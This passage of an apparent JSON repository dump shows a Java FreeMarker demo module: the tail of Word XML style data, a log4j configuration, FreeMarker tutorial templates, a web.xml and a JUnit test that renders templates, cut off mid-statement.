w:uiPriority=\"43\"/>\n          <w:lsdException w:name=\"Plain Table 4\" w:uiPriority=\"44\"/>\n          <w:lsdException w:name=\"Plain Table 5\" w:uiPriority=\"45\"/>\n          <w:lsdException w:name=\"Grid Table Light\" w:uiPriority=\"40\"/>\n          <w:lsdException w:name=\"Grid Table 1 Light\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"Grid Table 2\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"Grid Table 3\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"Grid Table 4\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"Grid Table 5 Dark\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"Grid Table 6 Colorful\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"Grid Table 7 Colorful\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"Grid Table 1 Light Accent 1\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"Grid Table 2 Accent 1\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"Grid Table 3 Accent 1\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"Grid Table 4 Accent 1\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"Grid Table 5 Dark Accent 1\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"Grid Table 6 Colorful Accent 1\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"Grid Table 7 Colorful Accent 1\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"Grid Table 1 Light Accent 2\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"Grid Table 2 Accent 2\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"Grid Table 3 Accent 2\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"Grid Table 4 Accent 2\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"Grid Table 5 Dark Accent 2\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"Grid Table 6 Colorful Accent 2\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"Grid Table 7 Colorful Accent 2\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"Grid Table 1 Light Accent 3\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"Grid Table 2 Accent 3\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"Grid Table 3 Accent 3\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"Grid Table 4 Accent 3\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"Grid Table 5 Dark Accent 3\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"Grid Table 6 Colorful Accent 3\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"Grid Table 7 Colorful Accent 3\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"Grid Table 1 Light Accent 4\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"Grid Table 2 Accent 4\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"Grid Table 3 Accent 4\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"Grid Table 4 Accent 4\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"Grid Table 5 Dark Accent 4\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"Grid Table 6 Colorful Accent 4\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"Grid Table 7 Colorful Accent 4\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"Grid Table 1 Light Accent 5\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"Grid Table 2 Accent 5\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"Grid Table 3 Accent 5\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"Grid Table 4 Accent 5\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"Grid Table 5 Dark Accent 5\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"Grid Table 6 Colorful Accent 5\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"Grid Table 7 Colorful Accent 5\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"Grid Table 1 Light Accent 6\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"Grid Table 2 Accent 6\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"Grid Table 3 Accent 6\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"Grid Table 4 Accent 6\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"Grid Table 5 Dark Accent 6\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"Grid Table 6 Colorful Accent 6\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"Grid Table 7 Colorful Accent 6\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"List Table 1 Light\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"List Table 2\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"List Table 3\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"List Table 4\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"List Table 5 Dark\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"List Table 6 Colorful\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"List Table 7 Colorful\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"List Table 1 Light Accent 1\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"List Table 2 Accent 1\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"List Table 3 Accent 1\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"List Table 4 Accent 1\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"List Table 5 Dark Accent 1\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"List Table 6 Colorful Accent 1\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"List Table 7 Colorful Accent 1\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"List Table 1 Light Accent 2\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"List Table 2 Accent 2\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"List Table 3 Accent 2\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"List Table 4 Accent 2\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"List Table 5 Dark Accent 2\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"List Table 6 Colorful Accent 2\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"List Table 7 Colorful Accent 2\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"List Table 1 Light Accent 3\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"List Table 2 Accent 3\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"List Table 3 Accent 3\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"List Table 4 Accent 3\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"List Table 5 Dark Accent 3\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"List Table 6 Colorful Accent 3\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"List Table 7 Colorful Accent 3\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"List Table 1 Light Accent 4\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"List Table 2 Accent 4\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"List Table 3 Accent 4\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"List Table 4 Accent 4\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"List Table 5 Dark Accent 4\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"List Table 6 Colorful Accent 4\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"List Table 7 Colorful Accent 4\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"List Table 1 Light Accent 5\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"List Table 2 Accent 5\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"List Table 3 Accent 5\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"List Table 4 Accent 5\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"List Table 5 Dark Accent 5\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"List Table 6 Colorful Accent 5\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"List Table 7 Colorful Accent 5\" w:uiPriority=\"52\"/>\n          <w:lsdException w:name=\"List Table 1 Light Accent 6\" w:uiPriority=\"46\"/>\n          <w:lsdException w:name=\"List Table 2 Accent 6\" w:uiPriority=\"47\"/>\n          <w:lsdException w:name=\"List Table 3 Accent 6\" w:uiPriority=\"48\"/>\n          <w:lsdException w:name=\"List Table 4 Accent 6\" w:uiPriority=\"49\"/>\n          <w:lsdException w:name=\"List Table 5 Dark Accent 6\" w:uiPriority=\"50\"/>\n          <w:lsdException w:name=\"List Table 6 Colorful Accent 6\" w:uiPriority=\"51\"/>\n          <w:lsdException w:name=\"List Table 7 Colorful Accent 6\" w:uiPriority=\"52\"/>\n        </w:latentStyles>\n        <w:style w:type=\"paragraph\" w:default=\"1\" w:styleId=\"a\">\n          <w:name w:val=\"Normal\"/>\n          <w:qFormat/>\n          <w:pPr>\n            <w:widowControl w:val=\"0\"/>\n            <w:jc w:val=\"both\"/>\n          </w:pPr>\n        </w:style>\n        <w:style w:type=\"character\" w:default=\"1\" w:styleId=\"a0\">\n          <w:name w:val=\"Default Paragraph Font\"/>\n          <w:uiPriority w:val=\"1\"/>\n          <w:semiHidden/>\n          <w:unhideWhenUsed/>\n        </w:style>\n        <w:style w:type=\"table\" w:default=\"1\" w:styleId=\"a1\">\n          <w:name w:val=\"Normal Table\"/>\n          <w:uiPriority w:val=\"99\"/>\n          <w:semiHidden/>\n          <w:unhideWhenUsed/>\n          <w:tblPr>\n            <w:tblInd w:w=\"0\" w:type=\"dxa\"/>\n            <w:tblCellMar>\n              <w:top w:w=\"0\" w:type=\"dxa\"/>\n              <w:left w:w=\"108\" w:type=\"dxa\"/>\n              <w:bottom w:w=\"0\" w:type=\"dxa\"/>\n              <w:right w:w=\"108\" w:type=\"dxa\"/>\n            </w:tblCellMar>\n          </w:tblPr>\n        </w:style>\n        <w:style w:type=\"numbering\" w:default=\"1\" w:styleId=\"a2\">\n          <w:name w:val=\"No List\"/>\n          <w:uiPriority w:val=\"99\"/>\n          <w:semiHidden/>\n          <w:unhideWhenUsed/>\n        </w:style>\n        <w:style w:type=\"table\" w:styleId=\"a3\">\n          <w:name w:val=\"Table Grid\"/>\n          <w:basedOn w:val=\"a1\"/>\n          <w:uiPriority w:val=\"39\"/>\n          <w:rsid w:val=\"00313E87\"/>\n          <w:tblPr>\n            <w:tblBorders>\n              <w:top w:val=\"single\" w:sz=\"4\" w:space=\"0\" w:color=\"auto\"/>\n              <w:left w:val=\"single\" w:sz=\"4\" w:space=\"0\" w:color=\"auto\"/>\n              <w:bottom w:val=\"single\" w:sz=\"4\" w:space=\"0\" w:color=\"auto\"/>\n              <w:right w:val=\"single\" w:sz=\"4\" w:space=\"0\" w:color=\"auto\"/>\n              <w:insideH w:val=\"single\" w:sz=\"4\" w:space=\"0\" w:color=\"auto\"/>\n              <w:insideV w:val=\"single\" w:sz=\"4\" w:space=\"0\" w:color=\"auto\"/>\n            </w:tblBorders>\n          </w:tblPr>\n        </w:style>\n        <w:style w:type=\"table\" w:styleId=\"a4\">\n          <w:name w:val=\"Grid Table Light\"/>\n          <w:basedOn w:val=\"a1\"/>\n          <w:uiPriority w:val=\"40\"/>\n          <w:rsid w:val=\"00313E87\"/>\n          <w:tblPr>\n            <w:tblBorders>\n              <w:top w:val=\"single\" w:sz=\"4\" w:space=\"0\" w:color=\"BFBFBF\" w:themeColor=\"background1\" w:themeShade=\"BF\"/>\n              <w:left w:val=\"single\" w:sz=\"4\" w:space=\"0\" w:color=\"BFBFBF\" w:themeColor=\"background1\" w:themeShade=\"BF\"/>\n              <w:bottom w:val=\"single\" w:sz=\"4\" w:space=\"0\" w:color=\"BFBFBF\" w:themeColor=\"background1\" w:themeShade=\"BF\"/>\n              <w:right w:val=\"single\" w:sz=\"4\" w:space=\"0\" w:color=\"BFBFBF\" w:themeColor=\"background1\" w:themeShade=\"BF\"/>\n              <w:insideH w:val=\"single\" w:sz=\"4\" w:space=\"0\" w:color=\"BFBFBF\" w:themeColor=\"background1\" w:themeShade=\"BF\"/>\n              <w:insideV w:val=\"single\" w:sz=\"4\" w:space=\"0\" w:color=\"BFBFBF\" w:themeColor=\"background1\" w:themeShade=\"BF\"/>\n            </w:tblBorders>\n          </w:tblPr>\n        </w:style>\n      </w:styles>\n    </pkg:xmlData>\n  </pkg:part>\n  <pkg:part pkg:name=\"/docProps/core.xml\" pkg:contentType=\"application/vnd.openxmlformats-package.core-properties+xml\" pkg:padding=\"256\">\n    <pkg:xmlData>\n      <cp:coreProperties xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n        <dc:title/>\n        <dc:subject/>\n        <dc:creator>史晨阳</dc:creator>\n        <cp:keywords/>\n        <dc:description/>\n        <cp:lastModifiedBy>史晨阳</cp:lastModifiedBy>\n        <cp:revision>2</cp:revision>\n        <dcterms:created xsi:type=\"dcterms:W3CDTF\">2017-06-06T01:11:00Z</dcterms:created>\n        <dcterms:modified xsi:type=\"dcterms:W3CDTF\">2017-06-06T01:11:00Z</dcterms:modified>\n      </cp:coreProperties>\n    </pkg:xmlData>\n  </pkg:part>\n  <pkg:part pkg:name=\"/customXml/item1.xml\" pkg:contentType=\"application/xml\" pkg:padding=\"32\">\n    <pkg:xmlData>\n      <b:Sources xmlns:b=\"http://schemas.openxmlformats.org/officeDocument/2006/bibliography\" xmlns=\"http://schemas.openxmlformats.org/officeDocument/2006/bibliography\" SelectedStyle=\"\\APASixthEditionOfficeOnline.xsl\" StyleName=\"APA\" Version=\"6\"></b:Sources>\n    </pkg:xmlData>\n  </pkg:part>\n  <pkg:part pkg:name=\"/word/fontTable.xml\" pkg:contentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml\">\n    <pkg:xmlData>\n      <w:fonts xmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\" xmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\" xmlns:w14=\"http://schemas.microsoft.com/office/word/2010/wordml\" xmlns:w15=\"http://schemas.microsoft.com/office/word/2012/wordml\" mc:Ignorable=\"w14 w15\">\n        <w:font w:name=\"Calibri\">\n          <w:panose1 w:val=\"020F0502020204030204\"/>\n          <w:charset w:val=\"00\"/>\n          <w:family w:val=\"swiss\"/>\n          <w:pitch w:val=\"variable\"/>\n          <w:sig w:usb0=\"E0002AFF\" w:usb1=\"C000247B\" w:usb2=\"00000009\" w:usb3=\"00000000\" w:csb0=\"000001FF\" w:csb1=\"00000000\"/>\n        </w:font>\n        <w:font w:name=\"宋体\">\n          <w:altName w:val=\"SimSun\"/>\n          <w:panose1 w:val=\"02010600030101010101\"/>\n          <w:charset w:val=\"86\"/>\n          <w:family w:val=\"auto\"/>\n          <w:pitch w:val=\"variable\"/>\n          <w:sig w:usb0=\"00000003\" w:usb1=\"288F0000\" w:usb2=\"00000016\" w:usb3=\"00000000\" w:csb0=\"00040001\" w:csb1=\"00000000\"/>\n        </w:font>\n        <w:font w:name=\"Times New Roman\">\n          <w:panose1 w:val=\"02020603050405020304\"/>\n          <w:charset w:val=\"00\"/>\n          <w:family w:val=\"roman\"/>\n          <w:pitch w:val=\"variable\"/>\n          <w:sig w:usb0=\"E0002EFF\" w:usb1=\"C000785B\" w:usb2=\"00000009\" w:usb3=\"00000000\" w:csb0=\"000001FF\" w:csb1=\"00000000\"/>\n        </w:font>\n        <w:font w:name=\"Calibri Light\">\n          <w:panose1 w:val=\"020F0302020204030204\"/>\n          <w:charset w:val=\"00\"/>\n          <w:family w:val=\"swiss\"/>\n          <w:pitch w:val=\"variable\"/>\n          <w:sig w:usb0=\"E0002AFF\" w:usb1=\"C000247B\" w:usb2=\"00000009\" w:usb3=\"00000000\" w:csb0=\"000001FF\" w:csb1=\"00000000\"/>\n        </w:font>\n      </w:fonts>\n    </pkg:xmlData>\n  </pkg:part>\n  <pkg:part pkg:name=\"/word/webSettings.xml\" pkg:contentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml\">\n    <pkg:xmlData>\n      <w:webSettings xmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\" xmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\" xmlns:w14=\"http://schemas.microsoft.com/office/word/2010/wordml\" xmlns:w15=\"http://schemas.microsoft.com/office/word/2012/wordml\" mc:Ignorable=\"w14 w15\">\n        <w:optimizeForBrowser/>\n        <w:allowPNG/>\n      </w:webSettings>\n    </pkg:xmlData>\n  </pkg:part>\n  <pkg:part pkg:name=\"/docProps/app.xml\" pkg:contentType=\"application/vnd.openxmlformats-officedocument.extended-properties+xml\" pkg:padding=\"256\">\n    <pkg:xmlData>\n      <Properties xmlns=\"http://schemas.openxmlformats.org/officeDocument/2006/extended-properties\" xmlns:vt=\"http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes\">\n        <Template>Normal</Template>\n        <TotalTime>1</TotalTime>\n        <Pages>1</Pages>\n        <Words>13</Words>\n        <Characters>75</Characters>\n        <Application>Microsoft Office Word</Application>\n        <DocSecurity>0</DocSecurity>\n        <Lines>1</Lines>\n        <Paragraphs>1</Paragraphs>\n        <ScaleCrop>false</ScaleCrop>\n        <Company/>\n        <LinksUpToDate>false</LinksUpToDate>\n        <CharactersWithSpaces>87</CharactersWithSpaces>\n        <SharedDoc>false</SharedDoc>\n        <HyperlinksChanged>false</HyperlinksChanged>\n        <AppVersion>15.0000</AppVersion>\n      </Properties>\n    </pkg:xmlData>\n  </pkg:part>\n</pkg:package>\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/log4j.properties",
    "content": "### 设置###\nlog4j.rootLogger = debug,stdout,D,E\n\n### 输出信息到控制抬 ###\nlog4j.appender.stdout = org.apache.log4j.ConsoleAppender\nlog4j.appender.stdout.Target = System.out\nlog4j.appender.stdout.layout = org.apache.log4j.PatternLayout\nlog4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n\n\n### 输出DEBUG 级别以上的日志到=E://logs/error.log ###\nlog4j.appender.D = org.apache.log4j.DailyRollingFileAppender\nlog4j.appender.D.File = debug.log\nlog4j.appender.D.Append = true\nlog4j.appender.D.Threshold = DEBUG \nlog4j.appender.D.layout = org.apache.log4j.PatternLayout\nlog4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n\n\n### 输出ERROR 级别以上的日志到=E://logs/error.log ###\nlog4j.appender.E = org.apache.log4j.DailyRollingFileAppender\nlog4j.appender.E.File =error.log \nlog4j.appender.E.Append = true\nlog4j.appender.E.Threshold = ERROR \nlog4j.appender.E.layout = org.apache.log4j.PatternLayout\nlog4j.appender.E.layout.ConversionPattern =%-d{yyyy-MM-dd HH\\:mm\\:ss}  [ %t\\:%r ] - [ %p ]  %m%n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/templates/AutoCodeDemo.ftl",
    "content": "package ${classPath};\n\npublic class ${className} {\n\n    public static void main(String[] args) {\n        System.out.println(\"${helloWorld}\");\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/templates/common.ftl",
    "content": "<#macro greet p>\n\tHello,${p}\n</#macro>"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/templates/otherFreeMarker.ftl",
    "content": "其他FreeMarker文件\n<#macro addMethod a b >\nresult : ${a + b}\n</#macro>\n<#assign otherName=\"另外一个FreeMarker的变量\">"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/templates/stringFreeMarker.ftl",
    "content": "字符串输出:\n${\"Hello ${name} !\"} / ${\"Hello \" + name + \" !\"}\n<#assign cname=r\"特殊字符完成输出(http:\\www.baidu.com)\">\n${cname}\n\n字符串截取 ： \n通过下标直接获取下标对应的字母： ${name[2]}\n起点下标..结尾下标截取字符串：${name[0..5]}\n\n算数运算：\n<#-- 支持\"+\"、\"－\"、\"*\"、\"/\"、\"%\"运算符 -->\n<#assign number1 = 10>\n<#assign number2 = 5>\n\"+\" : ${number1 + number2}\n\"－\" : ${number1 - number2}\n\"*\" : ${number1 * number2}\n\"/\" : ${number1 / number2}\n\"%\" : ${number1 % number2}\n\n比较运算符：\n<#if number1 + number2 gte 12 || number1 - number2 lt 6>\n\"*\" : ${number1 * number2}\n<#else>\n\"/\" : ${number1 / number2}\n</#if>\n\n内建函数：\n<#assign data = \"abcd1234\">\n第一个字母大写：${data?cap_first}\n所有字母小写：${data?lower_case}\n所有字母大写：${data?upper_case}\n<#assign floatData = 12.34>\n数值取整数：${floatData?int}\n获取集合的长度：${users?size}\n时间格式化：${dateTime?string(\"yyyy-MM-dd\")}\n\n空判断和对象集合：\n<#if users??>\n<#list users as user >\n${user.id} - ${user.name}\n</#list>\n<#else>\n${user!\"变量为空则给一个默认值\"}\n</#if>\n\nMap集合：\n<#assign mapData={\"name\":\"程序员\", \"salary\":15000}>\n直接通过Key获取 Value值：${mapData[\"name\"]}\n通过Key遍历Map：\n<#list mapData?keys as key>\nKey: ${key} - Value: ${mapData[key]}\n</#list>\n通过Value遍历Map：\n<#list mapData?values as value>\nValue: ${value}\n</#list>\n\nList集合：\n<#assign listData=[\"ITDragon\", \"blog\", \"is\", \"cool\"]>\n<#list listData as value>${value} </#list>\n\ninclude指令：\n引入其他文件：<#include \"otherFreeMarker.ftl\" />\n\nmacro宏指令：\n<#macro mo>\n定义无参数的宏macro--${name}\n</#macro>\n使用宏macro: <@mo />\n<#macro moArgs a b c>\n定义带参数的宏macro-- ${a+b+c}\n</#macro>\n使用带参数的宏macro: <@moArgs a=1 b=2 c=3 />\n\n命名空间：\n<#import \"otherFreeMarker.ftl\" as otherFtl>\n${otherFtl.otherName}\n<@otherFtl.addMethod a=10 b=20 />\n<#assign otherName=\"修改otherFreeMarker.ftl中的otherName变量值\"/>\n${otherFtl.otherName}\n<#assign otherName=\"修改otherFreeMarker.ftl中的otherName变量值\" in otherFtl />\n${otherFtl.otherName}"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/templates/test01.ftl",
    "content": "TEST   ---   ${strvalue}"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/templates/test02.ftl",
    "content": "һԳ${strvalue}\n...."
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/templates/test03.ftl",
    "content": "listvalue:\n\n<#list listvalue as v>\n\t${v} [${v_index}]\n</#list>"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/templates/test04.ftl",
    "content": "<#macro greet p>\n\tHello,${p}\n</#macro>\n\n<@greet p=\"test\"/>\n<@greet p=\"${name}\"/>"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/templates/test05.ftl",
    "content": "<#macro greet p>\n\tHello,${p}\n</#macro>\n\n<@greet p=\"test\"/>\n<@greet p=\"${name}\"/>"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/templates/user.ftl",
    "content": "<#--Freemarker遍历list-->\n简单遍历list:\n<#list userList as user>\n\t用户名：${user.userName}\n\t密  码：${user.userPassword}\n\t年  龄: ${user.age}\n</#list>\n\n\n<#--Freemarker遍历list并应用list隐含变量item_index-->\nitem_index使用：\n<#list userList as user>\n第${user_index+1}个用户\n\t用户名：${user.userName}\n\t密  码：${user.userPassword}\n\t年  龄: ${user.age}\n</#list>\n<#--Freemarker遍历list并应用list隐含变量item_has_next-->\nitem_has_next,size使用：\n<#list userList as user>\n\n\t用户名：${user.userName}\n\t密  码：${user.userPassword}\n\t年  龄: ${user.age}\n\t<#if !user_has_next>\n\t共有${userList?size}最后一个用户是:${user.userName}\n\t</#if>\n</#list>\n<#--Freemarker遍历list并按用户年龄升序排序-->\n\n按用户年龄升序排序：\n<#list userList?sort_by(\"age\") as user>\n\n\t用户名：${user.userName}\n\t密  码：${user.userPassword}\n\t年  龄: ${user.age}\n\t\n</#list>\n<#--Freemarker遍历list并按用户年龄降序排序-->\n\n按用户年龄降序排序：\n<#list userList?sort_by(\"age\")?reverse as user>\n\n\t用户名：${user.userName}\n\t密  码：${user.userPassword}\n\t年  龄: ${user.age}\n\t\n</#list>\n<#--Freemarker遍历list当用户年龄大于21岁时，停止输出-->\nlist中应用break:\n<#list userList?sort_by(\"age\")?reverse as user>\n\n\t用户名：${user.userName}\n\t密  码：${user.userPassword}\n\t年  龄: ${user.age}\n\t<#if (user.age>21) >\n\t\t<#break>\n\t</#if>\n</#list>\n\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/test/java/FreemarkerTest.java",
    "content": "\n\nimport java.io.BufferedWriter;\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.io.PrintWriter;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.junit.Test;\n\nimport freemarker.template.Configuration;\nimport freemarker.template.Template;\nimport freemarker.template.TemplateExceptionHandler;\n\npublic class FreemarkerTest{\n\t\n\tstatic String dir = \"src/main/resources/templates\";\n\t\n\t@Test\n\tpublic void testStringFreemarker01() throws Exception{\n\t\tConfiguration cfg = new Configuration();\n\t\tcfg.setDirectoryForTemplateLoading(new File(dir));\n\t\tTemplate template = cfg.getTemplate(\"test01.ftl\");\n\t\tMap root = new HashMap();\n\t\troot.put(\"strvalue\", \"test111\");\n\t\tPrintWriter out \n\t\t\t= new PrintWriter(\n\t\t\t\tnew BufferedWriter(\n\t\t\t\t\tnew FileWriter(dir+\"\\\\test01_out.txt\")\n\t\t\t\t)\n\t\t\t);\n\t\t\n\t\ttemplate.process(root, out);\n\t\t\n\t}\n\t\n\t@Test\n\tpublic void testMapFreemarker02() throws Exception{\n\t\tConfiguration cfg = new Configuration();\n\t\tcfg.setDirectoryForTemplateLoading(new File(dir));\n\t\tcfg.setTemplateExceptionHandler(TemplateExceptionHandler.IGNORE_HANDLER);\n\t\tTemplate template = cfg.getTemplate(\"test02.ftl\");\n\t\tMap root = new HashMap();\n\t\troot.put(\"strvalue\", \"val-map-123\");\n\t\tPrintWriter out \n\t\t\t= new PrintWriter(\n\t\t\t\tnew BufferedWriter(\n\t\t\t\t\tnew FileWriter(dir+\"\\\\test02_out.txt\")\n\t\t\t\t)\n\t\t\t);\n\t\t\n\t\t//����ģ�壬�����\n\t\ttemplate.process(root, out);\n\t\t\n\t}\n\t\n\t@Test\n\tpublic void testListFreemarker03() throws Exception{\n\t\tConfiguration cfg = new Configuration();\n\t\tcfg.setDirectoryForTemplateLoading(new File(dir));\n\t\tcfg.setTemplateExceptionHandler(TemplateExceptionHandler.IGNORE_HANDLER);\n\t\tTemplate template = cfg.getTemplate(\"test03.ftl\");\n\t\tMap root = new HashMap();\n\t\tList list = new ArrayList();\n\t\tfor(int i=0; i<10; i++){\n\t\t\tlist.add(\"listvalue\"+i);\n\t\t}\n\t\troot.put(\"listvalue\", list);\n\t\tPrintWriter out \n\t\t\t= new PrintWriter(\n\t\t\t\tnew BufferedWriter(\n\t\t\t\t\tnew FileWriter(dir+\"\\\\test03_out.txt\")\n\t\t\t\t)\n\t\t\t);\n\t\t\n\t\ttemplate.process(root, out);\n\t}\n\t\n\t@Test\n\tpublic void testFreemarker04() throws Exception{\n\t\tConfiguration cfg = new Configuration();\n\t\tcfg.setDirectoryForTemplateLoading(new File(dir));\n\t\tcfg.setTemplateExceptionHandler(TemplateExceptionHandler.IGNORE_HANDLER);\n\t\tTemplate template = cfg.getTemplate(\"test04.ftl\");\n\t\tMap root = new HashMap();\n\t\troot.put(\"name\", \"names\");\n\t\tPrintWriter out \n\t\t\t= new PrintWriter(\n\t\t\t\tnew BufferedWriter(\n\t\t\t\t\tnew 